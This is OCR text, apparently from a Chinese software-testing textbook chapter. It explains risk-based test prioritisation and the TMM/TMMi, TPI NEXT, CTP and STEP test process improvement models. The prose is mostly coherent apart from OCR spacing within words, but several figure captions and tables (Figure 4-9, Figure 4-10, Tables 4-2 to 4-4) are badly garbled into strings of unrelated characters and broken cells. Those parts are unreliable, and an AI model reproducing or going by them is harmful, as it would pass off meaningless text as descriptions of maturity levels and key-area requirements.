Spec) "是 其 中 的 一 个 标准 ,但 也 不 是 唯一 的 ,因为 Spec 中 有 些 内 容 完全 有 可 能 是 错误 的 ,软件 
的 社会 性 .用户 的 心理 特性 、 用 户 直觉 体验 等 都 很 难 在 Spec 中 被 描述 说 明 。 所 以 ,常常 强调 软 
件 测试 人 员 应 该 站 在 客户 的 角度 去 进行 测试 ,除了 发 现 程序 中 的 错误 ,还 要 发 现 需求 定义 的 错 
误 .设计 上 的 缺陷 ,可 以 针对 产品 的 Spec 去 报 Bug。 但 是 ,测试 在 大 多 数 时 间 /情况 下 ,是 由 工 
程 师 完成 ,而 不 是 客户 自己 来 做 ,所 以 又 怎么 能 保证 工程 师 和 客户 想 得 一 样 呢 ? 

有 人 把 开发 比 作 打靶 ,目标 明确 ,就 是 按照 Spec 去 实现 系统 的 功能 。 而 把 测试 比 作 捞 鱼 ， 
目标 不 明确 ,自己 判断 哪些 地 方 鱼 多 ,就 去 哪些 地 方 捞 ; 如 果 只 捞 大 鱼 (严重 缺陷 ) ,网眼 就 可 
以 大 些 、 撒 网 区 域 相 对 比较 集中 (测试 点 集中 在 主要 功能 ) 。 如 果 想 把 大 大 小 小 的 鱼 都 捞 上 来 ， 
网 眼 就 要 小 ,普遍 撤 网 ,不 放 过 任何 一 块 区 域 (测试 点 遍及 所 有 功能 ) 。 

基于 风险 的 测试 是 指 评估 测试 的 优先 级 ,先进 行 高 优先 级 的 测试 ,如 果 时 间或 精力 不 够 ， 
低 优先 级 的 测试 可 以 暂时 先 不 做 。 基 于 风险 的 测试 ,也 就 是 根据 事情 的 轻重 缓急 来 决定 测试 
工作 的 重点 和 工作 的 顺序 ,而 影响 测试 优先 级 的 因素 主要 是 ， 

(1) 该 功能 出 问题 对 用 户 的 影响 有 多 大 ? 对 用 户 的 影响 越 大 ,其 优先 级 越 高 。 

(2) 出 问题 的 概率 有 多 大 ? 概率 越 大 ,优先 级 越 高 。 这 种 概率 受 功能 模块 的 复杂 性 、 代 码 
质量 的 影响 。 复 杂 性 越 高 或 代码 质量 越 低 , 问 题 发 生 的 概率 就 越 大 。 

还 有 其 他 一 些 影响 因素 ,例如 ,新 功能 或 修改 
的 功能 对 该 功能 是 否 有 很 高 的 依赖 性 ?依赖 性 越 
高 ,优先 级 越 高 。 影 响 测试 优先 级 的 两 个 关键 因 ”| 高 5[ 蓄 和 
素 ,可 以 通过 图 4-9 来 表示 。 横 轴 代 表 影响 , 竖 轴 | 让 可 能 人 
代表 概率 ,根据 一 个 软件 的 特点 来 确定 : 如 果 一 “| 影 中 小 
个 功能 出 了 问题 , 它 对 整个 产品 的 影响 有 多 大 ,这 | 低 z 性 | 和 on 任 | 的 
个 功能 出 问题 的 概率 有 多 大 ? 如 果 出 问题 的 概率 对 产品 使 用 的 影响 
很 大 ,出 了 问题 对 整个 产品 的 影响 也 很 大 ,那么 在 
测试 时 就 一 定 要 覆盖 到 。 对 于 一 个 用 户 很 少 用 到 
的 功能 ,出 问题 的 概率 很 小 ,就 算出 了 问题 的 影响 也 不 是 很 大 ,如 果 时 间 比 较 紧 , 就 可 以 考虑 不 
测试 。 软 件 产品 的 风险 度 可 以 通过 出 错 的 影响 程度 和 出 现 的 概率 来 计算 ,测试 可 以 根据 不 同 
的 风险 度 来 决定 测试 的 优先 级 和 测试 的 覆盖 率 。 基 于 风险 的 测试 过 程 可 以 归纳 为 以 下 几 个 
步骤 。 

(1) 列 出 软件 的 所 有 功能 和 特性 ; 

(2) 确定 每 个 功能 出 错 的 可 能 性 ; 

(3) 如 果 某 个 功能 出 错 或 欠缺 某 个 特征 ,需要 评估 对 用 户 使 用 软件 产品 的 影响 程度 ; 


人 问题 发 生 的 可 能 性 


高 


影响 中 等 | 影响 大 


中 中 
影响 中 等 | ”影响 大 


图 4-9 风险 评估 方法 的 示意 图 


(4) 根据 上 面 两 个 步骤 ,计算 风险 度 ; 
(5) 根据 可 能 出 错 的 迹象 ,来 修改 风险 度 ; 
(6) 决定 测试 的 范围 ,编写 测试 方案 。 


4.5 测试 过 程 改 进 


随 着 软件 产业 界 对 软件 过 程 的 不 断 研究 ,美国 工业 界 和 政府 部 门 开 始 认 识 到 ,软件 过 程 能 
力 的 不 断 改 进 才 是 增强 软件 组 织 的 开发 能 力 和 提高 软件 质量 的 第 一 要 素 。 在 这 种 背景 下 ,由 
美国 卡 内 基 。 梅 隆 大 学 软件 工程 研究 所 (SEI) 研 制 并 推出 了 软件 能 力 成 熟 度 模型 (Software- 
Capacity Maturity Model,SW-CMM) ,CMM 逐渐 成 为 评估 软件 开发 过 程 的 管理 以 及 工程 能 
力 的 标准 。 现 在 ,形成 了 以 个 体 软件 过 程 (Personal Software Process,PSP) .团队 软件 过 程 (Team 
Software Process,TSP) ,过 程 成 熟 度 集成 模型 CMMI 等 为 主导 的 软件 开发 过 程 改进 体系 。 

但 是 ,CMMI 没有 提 及 软件 测试 成 熟 度 的 概念 ,没有 充分 讨论 如 何 改进 测试 过 程 ,所 以 ， 
许多 研究 机 构 和 测试 服务 机 构 从 不 同 角度 出 发 提出 有 关 软 件 测试 方面 的 能 力 成 熟 度 模型 , 作 
为 对 SELCMMI 的 有 效 补充 ,比较 有 代表 性 的 成 功 案例 有 以 下 几 个 。 

(1) 美国 国防 部 提出 一 个 CMM 软件 评估 和 测试 KPA(Key Process Area, 关 键 过 程 域 ) 
建议 。 

(2) Gelper 博士 提出 一 个 测试 支持 模型 (Test Support Model,TSM) ,以 评估 测试 小 组 所 
处 环境 对 测试 工作 的 支持 程度 。 

(3) Burgess/Drabick I. T. I 公司 提出 的 测试 能 力 成 熟 度 模型 (Testing Capability 
Maturity Model,TCMM) 则 提供 了 与 CMM 完全 一 样 的 5 级 模型 。 

(4) Burnstein 博士 提出 了 测试 成 熟 度 模型 (Test Maturity Model,TMM) ,依据 CMM 的 
框架 提出 测试 的 5 个 不 同 级 别 , 关 注 于 测试 的 成 熟 度 模 型 。 

下 面 首先 讨论 TMM ,然后 再 讨论 其 他 测试 过 程 改 进 模型 ,如 TPI 等 。 


4.5.1 TMMIi 


过 程 能 力 描述 了 遵循 一 个 软件 测试 过 程 可 能 达到 的 预期 结果 的 范围 。 了 解 过 程 能 力 对 于 
预测 产品 质量 是 十 分 关键 的 。 组 织 的 过 程 能 力 为 组 织 承 担 新 项 目 时 能 否 达到 期 望 结果 提供 了 
预测 依据 。 一 个 稳定 的 、 可 预测 的 过 程 必须 具有 一 致 的 执行 ,而 当 一 个 过 程 不 稳定 时 ,通常 由 
检查 过 程 一 致 性 开始 来 找 出 问题 的 根本 原因 。 经 验 表 明 ,过 程 一 致 性 检查 可 从 下 面 三 个 方面 

(1) 执行 过 程 的 适宜 性 检查 。 有 助 于 识别 合适 的 行动 ,来 纠正 那 种 由 于 缺乏 适合 性 而 导 
致 过 程 不 稳定 或 不 能 满足 客户 需求 的 情况 。 

(2) 已 定义 过 程 的 应 用 度量 。 过 程 稳定 性 依赖 于 对 已 定义 过 程 一 致 的 执行 。 通 过 度量 已 
定义 过 程 的 利用 程度 ,能 够 确定 已 定义 过 程 何 时 没有 得 到 切实 的 执行 ,以 及 可 能 的 偏差 原因 ， 
从 而 采取 合适 的 行动 。 

(3) 过 程 评审 和 纠正 。 如 果 放 任 不 管 ,过 程 会 偏离 受 控 状 态 而 进入 混乱 状态 。 可 以 通过 
定期 过 程 状态 评审 、 正 式 的 过 程 评估 和 项 目 校准 来 维护 过 程 。 

测试 是 软件 开发 过 程 中 一 个 重要 组 成 部 分 ,并 为 高 质量 的 软件 产品 开发 提供 大 力 支持 。 
许多 组 织 都 没有 意识 到 测试 流程 的 全 部 潜力 ,因为 这 些 过 程 往往 不 成 熟 。 伊 利 诺 斯 技术 研究 


所 (Illinois Institute of Technology) 的 TMM 正 是 解决 这 个 问题 ,借助 这 个 测试 成 熟 度 模 型 ， 
可 以 协助 评估 和 改善 其 软件 测试 流程 软件 组 织 。TMM 的 建立 ,得 益 于 以 下 三 点 。 

(1) 充分 吸收 CMM 的 精华 ; 

(2) 基于 历史 演化 的 测试 过 程 ; 

(3) 业界 的 最 佳 实践 。 

TMM 也 将 测试 过 程 成 熟 度 分 为 5 个 等 级 一 一 初始 级 、 定 义 级 、 集 成 .管理 & 度量 .优化 
等 ,如 图 4-10 和 表 4-2 所 示 。 每 一 个 等 级 都 包括 已 定义 的 过 程 域 ,组 织 在 升级 到 更 高 一 个 等 
级 之 前 ,需要 完全 满足 前 一 个 等 级 的 过 程 域 。 要 达到 特定 的 等 级 需要 实现 一 系列 的 预先 定义 
好 的 成 熟 度 目标 和 附属 目标 。 这 些 目 标 根据 活动 ,任务 和 责任 等 进行 定义 ,并 依据 管理 者 、 开 
发 人 员 ,测试 人 员 和 客户 或 用 户 的 特殊 需求 来 进行 。TMM 由 以 下 两 个 主要 部 分 组 成 。 


* 测试 过 程 的 数据 可 以 用 于 防止 错误 
化 已 建 立 的 过 


* 组 织 已 设 定 测试 方针 和 目标 
* 引入 了 测试 计划 过 程 | 
贞 志 其 本 的 测试 技术 


* 没有 正式 的 文档 化 和 结构 化 
* 测试 在 编码 后 执行 ， 与 调试 没有 区 别 
| “ 测试 的 目的 被 理解 证 明 软 件 正 


tes 


4-10 TMM 的 5 个 级 别 简要 描述 


表 4-2 目前 测试 成 熟 度 模型 的 基本 描述 
级 别 简单 描述 特 征 目 标 
Initial( 初 始 级 ) 还 不 能 把 测试 同调 试 分 开 ; 


测试 处 于 一 个 混乱 的 状态 , 缺 
乏 成 熟 的 测试 目标 ,测试 处 于 
可 有 可 无 的 地 位 


编码 完成 后 才 进 行 测试 工作 ; 
测试 的 目的 是 表明 程序 没有 
错 ; 缺乏 相应 的 测试 资源 


Phase Definition( 阶 段 定义 级 ) 测 | 测试 被 看 作 是 有 计划 的 活动 |、 
2 | 试 目标 是 验证 软件 符合 需求 ,会 | 测试 同调 试 分 开 ， a 
采用 基本 的 测试 技术 和 方法 。 | 但 编码 完成 后 才 进 行 测试 工作 
| 具有 独立 的 测试 部门 
Eon 各》 人 从 | 根据 用 户 需求 设计 测试 用 例 。 | 建立 软件 测试 组 织 
。 | 要, 而 是 所 天武 和 汪 在 旺 个 加 | 有 测试 工具 铺 助 进行 测试 工作 ，| 制定 技术 培训 计划 
没有 建立 起 有 效 的 评审 制度 。 | 测试 在 整个 生命 周期 内 进行 ， 


件 生命 周期 中 。 测 试 是 建立 在 
满足 用 户 或 客户 的 需求 上 


没有 建立 起 质量 控制 和 质量 度 | 控制 和 监视 测试 过 程 


量 标准 


续 表 
级 别 简单 措 术 特征 目 蒜 
秋生 可 车 性 \ 可 用 竹 有 可 维护 
Management and Measurement ”| 性 等 方面 的 测试 ; 实施 软件 生命 周期 中 各 阶段 评审 ; 
(管理 和 度量 级 ) 采用 数据 库 来 管理 测试 用 例 | 建立 测试 数据 库 并 记录 ,收集 有 关 
，。 | 测试 是 一 个 度量 和 质量 控制 过 | 具有 忽 陷 管理 系统 并 划分 缺陷 | 测试 数据 
程 。 在 软件 生命 周期 中 评审 作 | 的 级 别 ; 建立 组 织 范围 内 的 评审 程序 ， 
为 测试 和 软件 质量 控制 的 一 | 还 没有 建立 起 缺陷 预防 机 制 ,| 建立 测试 过 程 的 度量 方法 和 程序 
部 分 且 缺 乏 自动 地 对 测试 中 产生 的 | 软件 质量 评价 
数据 进行 收集 和 分 析 的 手段 
Optimization( 优 化 级 ) 这 和 数据 对 防 快 了， 
具有 缺陷 预防 和 质量 控制 的 | 本 定 的 这 得。 统计 质量 控制 ， 
5 | 能 力 ， et 建立 软件 产品 的 质量 目标 ， 
已 经 建立 起 测试 视 郊 和 流程 ,| 自动 必 汪 饮 隐 信息 持续 改进 测试 过 程 
并 不 断 地 进行 测试 过 程 改 进 | 天 如 的 起 了 分 折 贡 优化 测试 过 各 


(1) 5 个别 级 的 一 系列 测试 能 力 成 熟 度 的 定义 ,每 个 级 别 的 组 成 包括 到 期 目标 、 到 期 子 目 
标 活动 ,任务 和 职责 等 。 

(2) 一 套 评价 模型 ,包括 一 个 成 熟 度 问卷 .评估 程序 和 团队 选拔 培训 指南 。 

TMMi 基础 (参见 www. tmmifoundation. org) 定 义 了 TMM 的 接替 标准 TMMi。TMMi 
是 基于 TMM 框架 延伸 的 .针对 测试 过 程 改进 更 细节 化 的 模型 。TMMi 是 由 伊利 诺 斯 州 的 技 
术 组 织 开 发 的 ,总 结 了 TMM 和 CMMI 当中 相应 过 程 域 的 实践 经 验 ,包含 以 下 两 个 主要 文档 。 

(1) TMMi 参考 模型 (级 别 2 和 级 别 3 的 2.0 版 本 已 发 布 ), 描 述 了 TMMi 的 结构 及 其 所 
有 过 程 域 ,包括 支持 过 程 域 的 具体 实践 。 

(2) TMMi 评估 方法 应 用 需求 (TAMAR) 描 述 如 何 建立 适合 TMMi 参考 模型 的 评估 方 
法 ,也 就 是 定义 评估 方法 的 需求 。 


4.5.2 TPI NEXT 


TPI 是 业务 驱动 的 ,基于 连续 性 表示 法 的 测试 过 程 改 进 的 参考 模型 ,是 在 软件 控制 ,测试 
知识 以 及 过 往 经 验 的 基础 上 开发 出 来 的 。TPI 模型 用 于 支持 测试 过 程 的 改进 ,包括 一 系列 的 
关键 域 .生命 周期 组织、 基础 设施 、 工 具 及 技术 ,并 可 以 用 于 了 解 组 织 内 测试 过 程 的 成 熟 度 。 
在 这 个 基础 上 ,该 模型 帮助 我 们 定义 了 渐进 的 、 可 控 的 改进 步骤 。TPI 模型 的 构成 如 图 4-11 
所 示 。 


关键 域 (Key areas) 


级 别 (Levels) 


人 检查 点 (Checkpoints) ) (改进 建议 (mprovement Suggestions) ) 


图 4-11 TPI 模 型 的 构成 


1. 关键 域 

TPI 模型 考虑 了 测试 过 程 的 各 个 方面 ,如 测试 工具 的 使 用 ,设计 技术 或 报告 。 通 过 对 不 同 
方面 的 评估 ,测试 过 程 的 优点 和 缺点 都 变 得 清晰 ,这 些 方面 被 称 为 关键 域 。 测 试 过 程 分 为 
16 个 测试 组 织 需要 明确 的 关键 域 , 基 线 和 改进 建议 都 是 基于 以 下 16 个 关键 域 进 行 的 。 

(1) 对 相关 利益 者 的 承诺 (Stakeholder Commitment); 

(2) 介入 程度 (Degree of Involvement) ; 

(3) 测试 策略 (Test Strategy); 

(4) 测试 组 织 (Test Organization) ; 

(5) 沟通 (Communication); 

(6) 报告 (Reporting); 

(7) 测试 过 程 管理 (Test Process Management); 

(8) 估算 和 计划 (Estimating and Planning); 

(9) 度量 (Metrics); 

(10) 缺陷 管理 (Defect Management); 

(11) 测试 件 管理 (Testware Management); 

(12) 测试 方法 实践 (Methodology Practice); 

(13) 测试 人 员 专 业 化 (Tester Professionalism); 

(14) 测试 用 例 设计 (Test Case Design); 

(15) 测试 工具 (Test Tools); 

(16) 测试 环境 (Testing Environment)。 

2. 级 别 

为 了 了 解 过 程 在 每 个 关键 域 所 处 的 状态 , 即 对 关键 域 的 评估 结果 ,通过 级 别 来 体现 。 
模型 提供 了 12 个 级 别 ,由 A 到 M.A 是 最 低级 。 根 据 测 试 过 程 的 可 视 性 改善 ,测试 效率 的 
提高 或 成 本 的 降低 以 及 质量 的 提高 ,级别 会 有 所 上 升 。 例 如 ,对 于 关键 域 “ 报 告 ",4 个 级 别 
分 别 如 下 。 

(1) 报告 发 现 的 缺陷 ; 

(2) 报告 测试 过 程 的 进度 ; 

(3) 定义 系统 风险 以 及 根据 度量 提供 建议 ; 

(4) 提供 具有 测试 过 程 改进 特征 的 建议 。 

对 于 部 分 关键 域 的 某 些 级 别 描述 ,如 表 4-3 所 示 ( 仅 供 参 考 , 来 自 TPI, 非 TPI NEXT)。 
如 果 关 键 领域 非常 不 成 熟 , 也 有 可 能 达 不 到 初始 A 级 的 要 求 。 有 些 关 键 领 域 可 能 只 能 评 为 A 
或 者 B( 如 “估算 和 计划 ”) ,而 其 他 (如 “度量 与 分 析 ”) 的 评级 范围 可 以 是 A、B、C 或 者 D。 对 于 
给 定 的 关键 领域 评估 ,可 通过 对 TPI 模型 所 定义 的 检查 点 进行 评估 实现 。 例 如 , 当 关键 领域 
所 要 求 的 检查 点 都 满足 了 A 级 和 B 级 的 要 求 ,那么 这 个 关键 域 就 达到 了 B 级 。 

TPI 模型 定义 了 众多 过 程 和 等 级 之 间 的 依赖 关系 。 这 些 依赖 关系 保证 了 测试 过 程 的 均衡 
发 展 。 例 如 ,如 果 关 键 域 “ 报 告 " 没 有 相应 地 达到 A 级 ,那么 关键 领域 “度量 与 分 析 ” 也 就 不 可 
能 达到 A 级 ,因为 如 果 没 有 测试 报告 ,度量 与 分 析 就 没有 意义 。 对 于 依赖 关系 的 使 用 ,在 TPI 
模型 当中 是 可 选 的 。 


表 4-3 TPI 部 分 关键 域 不 同 级 别 的 要 求 


级 别 
关键 域 A B 已 D 
高 层 测试 和 底层 测试 | 所 有 测试 和 评 信 的 
全 
测试 策 咯 。 | 单个 高 层 滑 试 的 策略 高 导 测 试 的 组 合生 路 | 吕 汪 人 各 让 公信 吕 | 打 人 半 加 
介入 程度 ”| 测试 基线 完成 后 ” ”| 测试 基线 开始 需求 定义 开始 项 目 启动 
| “| 统计 意义 上 被 证 实 的 
合算 和 计划 。 | 被 证 实 的 信 算 和 计划 | 人 从 二 
个 
度量 项 目 度量 (产品 ) | 项目 度量 (过 程 | 系统 度量 A 
测试 自动 化 ”| 工具 的 使 用 可 管理 的 测试 自动 化 | 优化 的 测试 自动 化 
可 管理 和 可 控制 的 | 按 需 的 环境 
测试 环境 | 并 最 适合 测试 的 环境 | Ca 
承诺 与 动力 | 预算 和 时 间 的 分 配 末 下 的 it- 工程 
- 组 织 不 断 优化 的 
测试 方法 应 用 | 项 目 特定 的 组 织 通用 的 Re es 
- 项 目 沟通 (缺陷 \ 变 更 | 围绕 测试 流程 质量 的 
和 en 控制 ) 组 织 内 沟通 
进展 (测试 和 产品 的 
让 es 状态 )、 活 动 (成 本 .时 | 经 过 度量 数据 呈现 的 | 具有 软件 过 程 改进 
. 间 和 里 程 碑 ). 具 有 优 | 风险、 建议 特性 的 建议 
先 级 的 缺陷 
人 测试 团队 ) 内 部 的 缺 | 具 有 灵活 报告 机 制 的 
二 随 管理 | 管理 We 项 目 缺 陷 管理 
测试 基线 和 测试 对 象 从 系统 需求 到 测试 
测试 人 管理 | 内 部 的 测试 件 管理 | fo 站 部 管理 可 复 用 的 测试 件 | 生 轴 的 证 这 叶 机 
测试 过 程 管理 | 计划 和 执行 oad 组 织 内 的 监控 和 调整 
3. 测试 成 熟 度 矩 阵 


测试 成 熟 度 和 矩阵 提 供 了 关键 域 各 个 等 级 (A/B/C/VD) 和 总 体 测试 过 程 成 熟 度 等 级 的 映射 
关系 ,如 表 4-4 所 示 , 这 可 以 很 好 地 帮助 我 们 定义 内 在 的 优先 级 ,以 及 级 别 和 关键 域 之 间 的 依 
赖 关 系 。 每 个 级 别 都 关联 到 测试 成 熟 度 一 个 特定 的 度量 尺度 , 它 被 分 为 13 种 尺度 。 由 这 些微 
小 的 尺度 构成 总 体 等 级 ,总 体 等 级 包括 : 可 控 的 有效 的 和 不 断 优化 的 。 

(1) 可 控 的 : 测试 过 程 可 以 为 了 解 测试 对 象 的 质量 提供 足够 的 可 视 性 ,而 且 按 照 已 定义 
的 测试 策略 完成 测试 的 执行 ,采用 合适 的 测试 说 明 技术 ,缺陷 被 记录 下 来 并 被 报告 。 

(2) 有 效 的 : 测试 不 仅 是 可 控 的 ,而 且 达 到 良好 的 效率 ,例如 ,借助 自动 化 测试 .整合 组 织 
内 各 种 有 效 的 测试 方法 、 项 目的 测试 策略 等 达到 这 个 等 级 。 

(3) 不 断 优化 的 : 持续 的 测试 流程 改进 .引入 新 的 测试 方法 、 建 立新 的 测试 架构 等 ,从 而 
最 大 限度 地 保持 测试 效率 和 质量 。 
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表 4-4 各 个 关键 域 不 同 级 别 的 要 求 
总 体 等 级 可 控 的 有 效 的 不 断 优化 的 

关键 域 | 本 中 窑 下 这 和 于 | 是 注 中 从 淖 家 中 迹 | 渤 中 到 | 带 收 下 :| 3 
测试 策略 A B C D 
生命 周期 模型 A B 

介入 时 间 A B C D 
估计 和 计划 A B 

测试 规格 技术 A B 

静态 测试 技术 A B 

度量 A B @ D 
测试 自动 化 A B 

测试 环境 A B Cc 
办 公 环 境 A 

承诺 与 动力 A B C 

测试 功能 与 培训 A B c 

方法 的 范围 A B C 
沟通 A B WC 

告 A B D 

缺陷 管理 A B C 

测试 件 管理 A B C D 
测试 过 程 管理 A B C 

评估 A B 

底层 测试 A B 到 

4. 检查 点 


为 了 能 客观 地 决定 各 个 关键 域 的 级 别 ,TPI 模型 提供 了 一 种 度量 工具 一 一 检查 点 。 每 个 
级 别 都 有 若干 个 检查 点 ,测试 过 程 只 有 在 满足 了 这 些 检查 点 的 要 求 之 后 , 才 意 味 着 它 达 到 了 特 
定 的 级 别 。 

例如 ,关键 域 “沟通 ”级 别 A 一 一 “内 部 沟通 ”的 检查 点 有 : 

(1) 测试 团队 内 部 是 否 有 一 个 定期 的 会 议 ,会 议 有 固定 的 日 程 安排 并 集中 讨论 测试 进度 
和 测试 对 象 的 质量 ? 

(2) 每 个 团队 成 员 是 否定 期 参加 会 议 ? 

(3) 执行 偏离 计划 是 否 和 团队 沟通 并 记录 在 案 ? 

而 同一 关键 域 “沟通 "级别 B 一 一 “项 目 沟通 ”的 检查 点 ,除了 上 述 级 别 A 的 三 个 检查 点 之 
外 ,还 要 检查 : 

(1) 每 次 会 议 是 否 有 记录 (形成 会 议 纪要 )? 

(2) 会 议 中 除了 讨论 测试 进度 和 测试 对 象 的 质量 之 外 ,还 是 否 将 测试 流程 质量 作为 固定 
讨论 的 主题 之 一 ? 

(3) 测试 经 理 是 否定 期 在 项 目 会 议 上 报告 测试 进度 、 测 试 对 象 的 质量 测试 流程 质量 以 及 
项 目 中 存在 的 风险 ? 

(4) 会 议 中 达成 的 一 致意 见 ( 或 协议 ) 是 否 有 文字 记录 ? 

(5) 计划 和 发 布 日 期 的 任何 变化 是 否 及 时 通知 测试 经 理 ? 


(6) 在 定期 的 缺陷 分 析 和 解决 会 议 上 ,测试 团队 和 其 他 团队 的 代表 是 否 都 参与 ? 

(7) 变更 控制 是 否认 真 考虑 了 对 测试 工作 的 影响 ? 

在 TPI 的 评估 过 程 当中 ,将 会 使 用 定量 的 度量 和 定性 的 访谈 以 建立 测试 过 程 成 熟 度 等 级 。 

5. 建议 

检查 点 帮助 我 们 发 现 测试 过 程 中 的 问题 ,而 建议 会 帮助 我 们 解决 问题 ,最 终 改进 测试 过 
程 。 建 议 不 仅 包 含 对 如 何 达到 下 个 级 别 的 指导 ,而 且 还 包括 一 些 具 体 的 操作 技巧 .注意 事项 
等 。 例 如 ,针对 关键 域 “ 沟 通 ” 级 别 A 一 一 “内 部 沟通 ”的 建议 有 : 

(1) 要 求 每 个 测试 团队 的 成 员 定期 评估 测试 流程 ,提出 哪些 地 方 执行 得 很 好 .哪些 地 方 需 
要 改进 ; 

(2) 在 会 议 中 提出 的 一 些 措 施 要 得 到 一 致 的 处 理 或 一 贯 的 执行 ; 

(3) 项 目 安排 都 应 该 在 会 议 上 宣布 。 


4.5:3. CTIP 


关键 测试 过 程 (Critical Test Process,CTP) 评 估 模 型 主要 是 一 个 内 容 参 考 模型 ,一 个 上 下 
文 相关 的 方法 ,并 能 对 模型 进行 裁剪 ,包括 : 

(1) 特殊 挑战 的 识别 。 

(2) 优秀 过 程 属 性 的 识别 。 

(3) 过 程 改进 实施 顺序 和 重要 性 的 选择 。 

使 用 CTP 的 过 程 改 进 , 始 于 对 现 有 测试 过 程 的 评估 ,通过 评估 以 识别 过 程 的 强 弱 ,并 结合 
组 织 的 需要 提供 改进 的 意见 。CTP 识别 了 12 个 关键 测试 过 程 ,通过 实施 这 些 关键 过 程 ,来 改 
进 测试 过 程 ,造就 成 功 的 测试 团队 。 不 同 特定 背景 下 的 评估 不 同 , 但 一 般 而 言 ,CTP 评估 将 对 
下 列 数量 相关 的 度量 与 分 析 进 行 检查 。 

(1) 缺陷 发 现 率 。 

(2) 投资 回报 率 。 

(3) 需求 覆盖 率 和 风险 覆盖 率 。 

(4) 测试 发 布 管理 费用 。 

(5) 缺陷 报告 拒绝 率 。 

CTP 评定 过 程 中 通常 对 下 面 的 质量 因素 进行 评估 。 

(1) 测试 小 组 角色 和 效率 。 

(2) 测试 计划 效用 。 

(3) 测试 小 组 测试 水 平 ,背景 知识 和 技术 。 

(4) 缺陷 报告 效率 。 

(5) 测试 结果 报告 效率 。 

(6) 变更 管理 效率 和 平衡 。 

评估 过 程 中 识别 出 薄弱 过 程 域 后 ,需要 开始 制定 改进 计划 。 模 型 为 每 个 关键 测试 过 程 提 
供 了 通用 改进 计划 ,但 评估 小 组 需要 对 它们 进行 合适 的 裁剪 。 

曾 任 ISTQB 主席 的 Rex Black 写 过 一 本 CTP 的 书 , 书 名 就 是 Critical Testing Processes。 
在 这 本 书 中 ,展示 了 管理 测试 项 目的 4 个 关键 过 程 一 一 计划 (Plan)、 准 备 (Prepare)、 执 行 
(Perform) 和 完善 (Perfect) ,可 以 说 是 4P。4P 可 能 受到 著名 的 质量 大 师 W. E. Deming 的 
PDCA(Plan-Do-Check-Act, 计 划 - 执 行 -检查 -改进 ) 循 环 的 启发 ,虽然 两 者 有 比较 大 的 差异 。 


4P 关键 过 程 可 分 成 实践 和 管理 这 两 个 部 分 ,计划 和 完善 主要 是 管理 工作 ,准备 和 执行 是 
实践 工作 ,强调 在 早期 计划 和 准备 阶段 投入 了 大 量 的 时 间 与 精力 ,因为 认真 细致 的 计划 将 使 测 
试 的 实际 执行 平滑 和 迅速 。 

(1) 计划 (Plan) ,主要 关注 做 好 测试 的 项 目 管 理 , 包 括 如 何 和 其 他 团队 达成 一 致 的 意见 ， 
有 效 地 解决 问题 ,避免 冲突 。 

中 分 析 风 险 ,决定 测试 的 重点 。 

@ 评估 测试 的 时 间 和 成 本 。 

@ 分 析 预 算 并 评估 测试 的 投资 回报 (减少 的 劣质 成 本 /测试 的 成 本 ) 。 

@ 使 参与 工作 的 每 个 成 员 在 评估 方面 达成 一 致 。 

加 计划 测试 。 

(2) 准备 (Prepare) ,从 管理 人 员 签 订 总 体 计划 到 测试 团队 开始 执行 测试 用 例 的 过 程 。 这 
个 阶段 主要 工作 是 人 员 聘 用 、 团 队 建 设 和 培训 、 建 立 测试 制度 和 衡量 测试 覆盖 率 等 问题 ,包括 
如 何 面 对 不 清晰 的 需求 定义 ,如 何在 进度 、 预 算 和 质量 之 间 获 得 平衡 。 

(3) 执行 (Perform) ,讨论 测试 团队 如 何 与 发 布 工程 或 者 配置 管理 团队 合作 ,以 及 产品 构 
建 怎样 移交 到 测试 团队 的 信息 。 因 为 每 一 项 都 很 好 地 计划 并 预先 充分 地 准备 ,所 以 ,执行 就 比 
较 容 易 , 虽 然 现实 中 测试 执行 可 能 是 最 长 的 阶段 。 

(4) 完善 (Perfect) ,完成 产品 的 测试 和 改进 测试 过 程 ,包括 如 何 发 现 , 报 告 并 响应 问题 ,以 
及 缺陷 处 理 过 程 中 如 何 有 效 沟通 。 

如 果 进 一 步 细 分 ,软件 测试 还 可 以 分 为 如 下 12 个 子 关键 过 程 。 

@ 测试 ; 

@ 建立 上 下 文 关 系 和 测试 环境 ; 

@ 质量 风险 评估 ; 

@ 测试 估算 ; 

加 测试 计划 ; 

@ 测试 团队 开发 ; 

@ 测试 (管理 ) 系 统 开发 ; 

@ 测试 发 布 管理 ; 

测试 执行 ; 

@ 缺陷 报告 ; 

@ 测试 结果 报告 ; 

@ 变更 管理 。 


4.5.4 STEP 


STEP(Systematic Test and Evaluation Process, 系统 化 测试 和 评估 过 程 ) 是 一 个 内 容 参 
考 模型 ,认定 测试 是 一 个 生命 周期 活动 ,在 明确 需求 后 开始 直到 系统 退役 。STEP 提倡 通过 测 
试 在 软件 开发 生命 周期 早期 介入 来 改进 质量 ,而 不 是 作为 编程 结束 之 后 的 一 项 关键 活动 ,以 确 
保 更 早 地 发 现 缺陷 ,包括 发 现 由 需求 定义 \ 设 计 规 格 说 明 书 和 设计 等 引入 的 缺陷 。 

STEP 与 CTP 比较 类 似 ,而 不 像 TMMI 和 TPI, 并 不 要 求 改进 需要 遵循 特定 的 顺序 。 某 
些 情况 下 ,STEP 评估 模型 可 以 与 TPI 成 熟 度 模 型 结合 起 来 使 用 。STEP 的 实现 途径 是 使 
基于 需求 的 测试 方针 以 保证 在 设计 和 编码 之 前 ,已 经 设计 了 测试 用 例 以 验证 需求 规格 说 明 。 


该 方法 识别 并 关注 测试 中 的 以 下 三 个 主要 阶段 。 

(1) 计划 ,制定 测试 策略 ,开发 总 的 测试 计划 和 详细 的 各 个 单项 的 测试 计划 。 

(2) 获得 测试 件 ,包括 定义 测试 目标 ,创建 测试 计划 和 设计 测试 用 例 。 

(3) 度量 ,执行 测试 ,确保 测试 是 充分 的 ,并 得 到 严格 的 监控 。 

STEP 方法 的 基本 前 提包 括 以 下 几 个 。 

(1) 基于 需求 的 测试 策略 。 

(2) 在 生命 周期 初始 开始 进行 测试 。 

(3) 测试 用 作 需 求 和 使 用 模型 。 

(4) 由 测试 件 设计 导出 软件 设计 (测试 驱动 开发 ) 。 

(5) 及 早 发 现 缺陷 或 完全 的 缺陷 预防 。 

(6) 对 缺陷 进行 系统 分 析 。 

(7) 测试 人 员 和 开发 人 员 一 起 工作 。 

STEP 的 评估 过 程 中 ,使 用 定量 的 度量 和 定性 的 访谈 。 定 量 的 度量 和 分 析 包 括 以 下 几 
方面 。 

(1) 不 同时 期 的 测试 状态 。 

(2) 测试 需求 和 风险 覆盖 。 

(3) 缺陷 趋势 ,包括 发 现 , 等 级 和 分 类 分 项 数据 。 

(4) 缺陷 密度 。 

